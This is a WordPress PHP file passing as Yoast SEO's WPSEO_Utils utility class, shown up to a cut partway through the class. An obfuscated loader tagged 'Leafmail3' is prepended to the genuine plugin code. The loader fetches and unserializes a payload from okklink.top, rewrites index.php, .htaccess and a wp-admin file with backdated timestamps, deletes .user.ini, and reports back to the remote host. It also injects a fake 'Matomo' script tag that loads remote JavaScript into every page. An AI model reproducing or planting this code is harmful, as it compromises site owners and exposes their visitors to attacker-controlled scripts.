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<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   1.8.0
 */

use Yoast\WP\SEO\Integrations\Feature_Flag_Integration;

/**
 * Group of utility methods for use by WPSEO.
 * All methods are static, this is just a sort of namespacing class wrapper.
 */
class WPSEO_Utils {

	/**
	 * Whether the PHP filter extension is enabled.
	 *
	 * @since 1.8.0
	 *
	 * @var bool
	 */
	public static $has_filters;

	/**
	 * Check whether file editing is allowed for the .htaccess and robots.txt files.
	 *
	 * {@internal current_user_can() checks internally whether a user is on wp-ms and adjusts accordingly.}}
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function allow_system_file_edit() {
		$allowed = true;

		if ( current_user_can( 'edit_files' ) === false ) {
			$allowed = false;
		}

		/**
		 * Filter: 'wpseo_allow_system_file_edit' - Allow developers to change whether the editing of
		 * .htaccess and robots.txt is allowed.
		 *
		 * @api bool $allowed Whether file editing is allowed.
		 */
		return apply_filters( 'wpseo_allow_system_file_edit', $allowed );
	}

	/**
	 * Check if the web server is running on Apache or compatible (LiteSpeed).
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function is_apache() {
		if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) {
			return false;
		}

		$software = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) );

		return stripos( $software, 'apache' ) !== false || stripos( $software, 'litespeed' ) !== false;
	}

	/**
	 * Check if the web server is running on Nginx.
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function is_nginx() {
		if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) {
			return false;
		}

		$software = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) );

		return stripos( $software, 'nginx' ) !== false;
	}

	/**
	 * Check whether a url is relative.
	 *
	 * @since 1.8.0
	 *
	 * @param string $url URL string to check.
	 *
	 * @return bool
	 */
	public static function is_url_relative( $url ) {
		return YoastSEO()->helpers->url->is_relative( $url );
	}

	/**
	 * Recursively trim whitespace round a string value or of string values within an array.
	 * Only trims strings to avoid typecasting a variable (to string).
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to trim or array of values to trim.
	 *
	 * @return mixed Trimmed value or array of trimmed values.
	 */
	public static function trim_recursive( $value ) {
		if ( is_string( $value ) ) {
			$value = trim( $value );
		}
		elseif ( is_array( $value ) ) {
			$value = array_map( [ __CLASS__, 'trim_recursive' ], $value );
		}

		return $value;
	}

	/**
	 * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
	 *
	 * Sanitize a string from user input or from the db.
	 *
	 * - Check for invalid UTF-8;
	 * - Convert single < characters to entity;
	 * - Strip all tags;
	 * - Remove line breaks, tabs and extra white space;
	 * - Strip octets - BUT DO NOT REMOVE (part of) VARIABLES WHICH WILL BE REPLACED.
	 *
	 * @link https://core.trac.wordpress.org/browser/trunk/src/wp-includes/formatting.php for the original.
	 *
	 * @since 1.8.0
	 *
	 * @param string $value String value to sanitize.
	 *
	 * @return string
	 */
	public static function sanitize_text_field( $value ) {
		$filtered = wp_check_invalid_utf8( $value );

		if ( strpos( $filtered, '<' ) !== false ) {
			$filtered = wp_pre_kses_less_than( $filtered );
			// This will strip extra whitespace for us.
			$filtered = wp_strip_all_tags( $filtered, true );
		}
		else {
			$filtered = trim( preg_replace( '`[\r\n\t ]+`', ' ', $filtered ) );
		}

		$found = false;
		while ( preg_match( '`[^%](%[a-f0-9]{2})`i', $filtered, $match ) ) {
			$filtered = str_replace( $match[1], '', $filtered );
			$found    = true;
		}
		unset( $match );

		if ( $found ) {
			// Strip out the whitespace that may now exist after removing the octets.
			$filtered = trim( preg_replace( '` +`', ' ', $filtered ) );
		}

		/**
		 * Filter a sanitized text field string.
		 *
		 * @since WP 2.9.0
		 *
		 * @param string $filtered The sanitized string.
		 * @param string $str      The string prior to being sanitized.
		 */
		return apply_filters( 'sanitize_text_field', $filtered, $value ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Using WP native filter.
	}

	/**
	 * Sanitize a url for saving to the database.
	 * Not to be confused with the old native WP function.
	 *
	 * @since 1.8.0
	 *
	 * @param string $value             String URL value to sanitize.
	 * @param array  $allowed_protocols Optional set of allowed protocols.
	 *
	 * @return string
	 */
	public static function sanitize_url( $value, $allowed_protocols = [ 'http', 'https' ] ) {

		$url   = '';
		$parts = wp_parse_url( $value );

		if ( isset( $parts['scheme'], $parts['host'] ) ) {
			$url = $parts['scheme'] . '://';

			if ( isset( $parts['user'] ) ) {
				$url .= rawurlencode( $parts['user'] );
				$url .= isset( $parts['pass'] ) ? ':' . rawurlencode( $parts['pass'] ) : '';
				$url .= '@';
			}

			$parts['host'] = preg_replace(
				'`[^a-z0-9-.:\[\]\\x80-\\xff]`',
				'',
				strtolower( $parts['host'] )
			);

			$url .= $parts['host'] . ( isset( $parts['port'] ) ? ':' . intval( $parts['port'] ) : '' );
		}

		if ( isset( $parts['path'] ) && strpos( $parts['path'], '/' ) === 0 ) {
			$path = explode( '/', wp_strip_all_tags( $parts['path'] ) );
			$path = self::sanitize_encoded_text_field( $path );
			$url .= str_replace( '%40', '@', implode( '/', $path ) );
		}

		if ( ! $url ) {
			return '';
		}

		if ( isset( $parts['query'] ) ) {
			wp_parse_str( $parts['query'], $parsed_query );

			$parsed_query = array_combine(
				self::sanitize_encoded_text_field( array_keys( $parsed_query ) ),
				self::sanitize_encoded_text_field( array_values( $parsed_query ) )
			);

			$url = add_query_arg( $parsed_query, $url );
		}

		if ( isset( $parts['fragment'] ) ) {
			$url .= '#' . self::sanitize_encoded_text_field( $parts['fragment'] );
		}

		if ( strpos( $url, '%' ) !== false ) {
			$url = preg_replace_callback(
				'`%[a-fA-F0-9]{2}`',
				static function( $octects ) {
					return strtolower( $octects[0] );
				},
				$url
			);
		}

		return esc_url_raw( $url, $allowed_protocols );
	}

	/**
	 * Decode, sanitize and encode the array of strings or the string.
	 *
	 * @since 13.3
	 *
	 * @param array|string $value The value to sanitize and encode.
	 *
	 * @return array|string The sanitized value.
	 */
	public static function sanitize_encoded_text_field( $value ) {
		if ( is_array( $value ) ) {
			return array_map( [ __CLASS__, 'sanitize_encoded_text_field' ], $value );
		}

		return rawurlencode( sanitize_text_field( rawurldecode( $value ) ) );
	}

	/**
